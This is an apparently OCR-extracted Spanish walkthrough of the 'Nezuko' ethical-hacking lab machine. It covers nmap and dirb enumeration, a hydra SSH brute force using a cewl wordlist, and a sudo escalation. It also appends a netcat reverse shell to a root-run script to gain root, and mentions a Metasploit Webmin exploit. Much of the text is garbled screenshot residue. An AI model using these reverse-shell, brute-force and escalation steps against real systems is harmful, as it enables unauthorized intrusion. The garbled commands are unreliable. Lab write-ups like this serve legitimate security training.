Walkthorugh Nezuko

resolucion de maquina nezuko
(Hacking Etico)



Empezaremos el reconocimiento con el comando nmap para visualizar los puertos
que tiene abiertos la maquina atacada.

ST,RUNNING,MULTICAST> mtu 1500
co cg

[

UP, LOOPBACK , RUNNING=>
’7.0.0.1 5

Loopback)
B)
rruns @
0.0 B)
collisions @

-04-04 10:01 CEST

W
a sl
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192.168.91.150 -T°

1]

Starting Nmap 7.945VN (
Nmap scan report for 192.168.91.150
Host is up (@.00084s latency).
Not shown: 65 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh
open http
open ssl/http MiniServ 1.9
Service Info: 0S: Linux; CPE:

Nmap done: 1 IP address (1 host up) scanned in 51.89 seconds

4-04-04 10:01 CEST

Host is up
Not shown:
PORT S g ( STION
cp open ssh enSSH 7.6pl Ubuntu
ssh-hostk

‘tcp
_http-titl

nfo: Prob
0S: Linux; CPE:

nmap.org/submit/
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Vemos que en el puerto 22 hay un ssh y en el 80 y 13337 un http en ambos, por lo
que tiraremos un dirb para ambos puertos.

Para el puerto 13337 dirb no nos saca nada y no podemos acceder al él ya que se
queda cargando la pagina.

32.168.91.150:1 7/ fusr/share/dirb/wordlists/big.txt

START_TIME: Thu Apr
URL_BASE: htt ] { /
WORDLIST_FILES: / / ‘wordlists/big.txt

GENERATED WORDS: 20458
Scanning URL: http: 92.168.91.158

(1) FATAL: Too errors connecting to host
(Possible c OPERATION TIMEQUT)

END_TIME: Thu Apr &4 1@:46:14 2024

DOWNLOADED: @ - FOUND: @

* NewTab

X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

ﬁ's Firefox

Pero para el puerto 80, dirb si nos da informacion ademas de que se puede
acceder a la pagina.
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2.168.91.150:80 fusr/share/dirb/wordlists/big.txt

START_TIME: Thu Apr 24
168.91.150:88/
Jusr/share/dirb/wordlists/big.txt

Jsample/
us (CODE:4@3

92.168.91.150:80/sample/ ——
(') WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode "-w' if you want to scan it anyw

END_TIME: Thu Apr 4 1@:
DOWNLOADED: 28458 - FOUND:

Vemos que hay un robots.txt y un directorio sample.

En el robots.txt encontramos un hash en base 32 que nos dice “pista de nezuko:
este no es el puerto correcto para enumerar *w*”,

O & 192.168.91.150/rc

KaliLinux #& KaliTools = KaliDocs M Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DH

NBUW45BAMZ ZG63 AN USLLN4QDUIDUNBUXGIDIOMQGA33UEB2GOZIADIUWOZDUEBYGRATUEB2GEIDFNZZW2ZLSMF2GKICE05PA====

£.g. lype Tandom 7
g. Type Tandon = BASE 32 CIPHERTEXT (@)

BrowsE THE FULL DCODE TOO LSI LIST NEUW4EBAMZZGE3 JANZ SXUSLLNAQDUIDUNEUXGID JIOMOG433UEB2GOZ I A0IU
WO ZDUEBYGE4TUEEZGEIDFNZ 2W2Z LSMF 2GKIC A0S PA====
Results B2 2 | K x }

hint from nezuko : this is not the right port
to enumerate Awh

Drosuayr rones s vms ACTI fomaiorime =h misims e

Parece que nezuko es el nombre de un usuario de la maquina.

Sin embargo, en el directorio sample no encontramos nada.
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{

.,

) & 192.168.91.150/sample/

KaliLinux & KaliTools <« KaliDocs % KaliForums e Kali NetHunter Exploit-DB Google Hac
Index of /sample

Name Last modified Size Description

« Parent Directory -
nothing_here.txt 2019-08-21 00:55 13

Apache/2.4.29 (Ubuntu) Server at 192.168.91.150 Port 80

Kali Linux @ KaliTools = Kali Doc

nothing here

Sacaremos un diccionario de palabras de la pagina web con el comando cewl y
probaremos con el nombre de nezuko tirando un hydra para ver si nos saca alguna
contrasena.

digi.nin

P passwordsl.txt
van Ha /THC e organizations, or for illegal

om

did not
did net compl
ub.c
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Hydra nos ha dado la contraseia del usuario nezuko para ssh, por lo que ya
podemos conectarnos a ese usuario mediante ssh. Una vez dentro encontramos el
primer origami en su home.

nezukoml92.168.91.150@
The authenticity of hest '192.168.91.158 (192.168.91.150)' can't be established.
ED25519 key fingerprint is SHAZ256:2RulIBosCTKF6TvCVfZdwrwIakEjQloQOwvpfhwVTiog.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])}? yes
Warning: Permanently added '192.168.91.150° (ED25519) to the list of known hosts.
nezukoml92.168.91.150"'s password:
Welcome to Ubuntu 18.@4.2 LTS (GNU/Linux 4.18.@-15-generic x86_64)

* Documentation: https://help.ubuntu.com
Management: https://landscape.canonical.com
Support: https: //ubuntu.com/advantage

Canonical Livepatch is awvailable for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

676 packages can be updated.
489 updates are security updates.

Your Hardware Enablement Stack (HWE) is supported until April 2@23.
Last login: Thu Apr &4 @4:38:17 2024 from 192.168.50.137
nezukogubuntu:~% 1s -la

total 52
drwxr-xr-x
drwxr-xr-x
drwx
—TWXTWX—— X
drwx
drwxr-xr-x
drwx

-TW

drwx

drwx
-I'W-r—-r--
-Tw

drwx

nezuko nezuko Apr 4 2024

root root Ogos 20 2019 ..

nezuko nezuko Ogos 280 2019 .cache
zenitsu zenitsu Apr 4 @4:14 changeuser.sh
nezuko nezuko Ogos 20 2019 .config
nezuko nezuko Apr 4 17:15 from_zenitsu
nezuko nezuko Ogos 20 2019 .gnupg

nezuko nezuko Ogos 21 2019 .ICEauthority
nezuko nezuko Ogos 20 2019 .local

nezuko nezuko Ogos 20 2019 .mozilla

root root Apr 4 @2:38 origamil.txt
root root Ogos 20 2019 .rnd

nezuko nezuko Ogos 280 2819 .ssh

[ S O R O U N [ Sy Ry Y s

nezuko@gubuntu:~% cat origamil.txt

/1N
/ D\
/ I(\
/TN
(

"

I
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Si nos movemos a la home del otro usuario “zenitsu” que esta en la maquina,

podemos encontrar el segundo origami.

nezukogubuntuw:~% cd
nezukofubuntu: /home$ 1s -1la

root
root
) nezuko nezuko
b Zenitsu zenitsu
:/home% cd zenitsu

root
root

nezukogubuntu
total 4@

T
=
—+
w
=
T
=
—+
w
=

4896

L&)

& D
=]
s s
& D
=]
=+ =

=
T
=l
—+
=

M
~+ r+
(LI T I T R
=
~+

T
=l
=

L I VI I T
T
—~+

1=
1=

—+
=
T
=l
=

(s
L T o )

—+
=
T
=l
—+

=+ s s e e
—+
=

=
(=]
o
(=]

—+
=
T
=l
—+
w
=

Lo T o O T T Y O I T e I B
T
=

r
Zen

T
=
He e
—+
LT ]
=
o
(=l
=+ =

:/home/zenitsu$ 1s -la

b Apr 4

b Apr 4

6 Ogos 20
6 Ogos 20

Apr

b Apr

A
Apr 4
Ogos 20
Ogos 20
Ogos 20

Apr 4

6 Ogos 20

Apr 4
Ogos 20

S-S N
nezuko@ubuntu: /home/zenitsu$ |

logout

==
T

) origamiz.txt
.profile
25 to_nezuko

Ademas, en la home de zenitsu vemos un directorio llamado to_nezuko y dentro un
script con un titulo que nos dice que enviemos un mensaje a nezuko.

Si miramos ese script vemos un mensaje que nos dice que podemos enviar un
mensaje. Y ademas, nos dejan pistas de qué mensaje enviar. Nos dan un
comando y nos dicen que hay que modificar la IP y el PUERTO, y que sélo podemos
agregar texto, la sobrescritura no esta disponible.
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PR

EMT)
ou lik go on a date with me?
@ .137 1

irite is not ilab

o_nezuko$ ||

Como vemos se trata de una ReverShell, por lo que primero nos pondremos a la
escucha, y segundo, escribiremos en el script, pero al intentar escribir en él no
podemos ya que tenemos los permisos denegados, por lo que escalamos privilegios
al usuario zenitsu, y con él si que podremos escribir.

enitsu/to_nezu
Defaults entries for on ubuntu:
eset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin%:/sbin\:/bin\:/snap/bin

User nezuko may run the follow ommands on ubuntu:
(zenitsu) NOPA: /home/ne changeuser.sh
0% sudo zenitsu /home/n ko/changeus
$ whoami

009
[any]

nitsugubuntu:/home
n
n
n
i

T

[i

[i

[i

m
sugubuntu:/home
sugubuntu: /home
n/bas
=$(date =
"n o chan, would you 1i on a date with me? " > /home/
/bin/bash 192.168.50.137 1
the IP and PORT
¢ can append text, o write is EVERE N

[i

t
t
i

i
d
i
i
b
[

CLogp MM UM

nc /bin/bash 192.168.91.128 3
zenitsugubuntu: /home/zenitsu/to_n

Modificado el script nos llegara una shell en la que ya seremos root y podremos ver
el tercer y ultimo origami en el directorio de root.
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3009
listening on [an
connect to [192. ;.91.128] from (UNKNOWN) [192.168.91.15@8] 37934
python -c 'import ; ("/bin/bash" )"
whoami
rooct

cd froot

snap

cat finmalorigami.txt
InNcIntIntintIntincIntincIntincintint
ICINCIntIn I tIn i tIntincIntincin il
11T 1N
I[T1 I[T1
11T 11T
I[]1 : I[]1
11T N TN
I[]1 =" IL]1
1Nt _.- e 11
[[3] *—*"" ‘- IL]1
11T : ‘Nriac F N 1N
I[]1 L R P Y N A
10 /o A R
I[T1 - - I[T1
11T : : 11T
I[]1 ! N IL]1
11T TN
I[T1 ' N PR I[T1
11T /. ' B 11T
I[]1 I I[]1
11T ! v /mx TN
I[]1 L IL]1
11T ' ' 11
I[]1 IL]1
11T TN
I[]1 LTI
10 11
I[T1 J ARt L ) : I[T1
11T Ay TN
I[]1 ! e L IL]1
11T ! 11T
I[T1 I[T1
TntincincintiniIntIntIntintincincint
ICINCINCIn I tIn I tIntincIntinclnill
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Hemos resuelto la maquina sacando las credenciales del usuario nezuko
mediante hydra con un diccionario que hemos sacado de la pagina web con el
comando cewl, pero hay otra forma de resolver la maquina. La otra forma es entrar
al usuario nezuko a través de metasploit.

ap -sV 192.168.91.1580 -T5 -p-
Starting Nmap 7.945VN https:/ nmap.org
Nmap scan report for 192.168.91.150
Host is up (2.00084s latency
Not shown: 655 closed tcp ports (conn-
PORT STATE SERVICE VERSION
22/tep open ssh OpenSSH 7.6pl1 Ubun ( i protocol 2.

80/tcp open http Apache httpd . |
/tcp open ssl/http MiniServ 1.920 (Webmin httpd)
Service Info: 0S: Linux; CPE: cpe:/fo:linux:1li kernel

Service detection performed. Please | nmap.org/submit/ .
Nmap done: 1 IP address (1 host u

Disclosu Rank cription
11 s Webmin /fil [ i ommand Execution
normal Webmin Fi
Webmin
11 Webmin
11 Webmin [ ommand
11 Webmin i
normal Webmin
Webmin

ct with a

us 7
Using configu

ploit.html

scurl, fetch, lwprequest,psh_invokewebrequest, ftp_http:
ription

1 host or r ork int to listen on. This must be an address on the 1 1 machine or 2.0.0.0 to lis on all add
port to 1
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tion with 1 ...

Authen-SolarisRBAC-8.1
CHANGELOG
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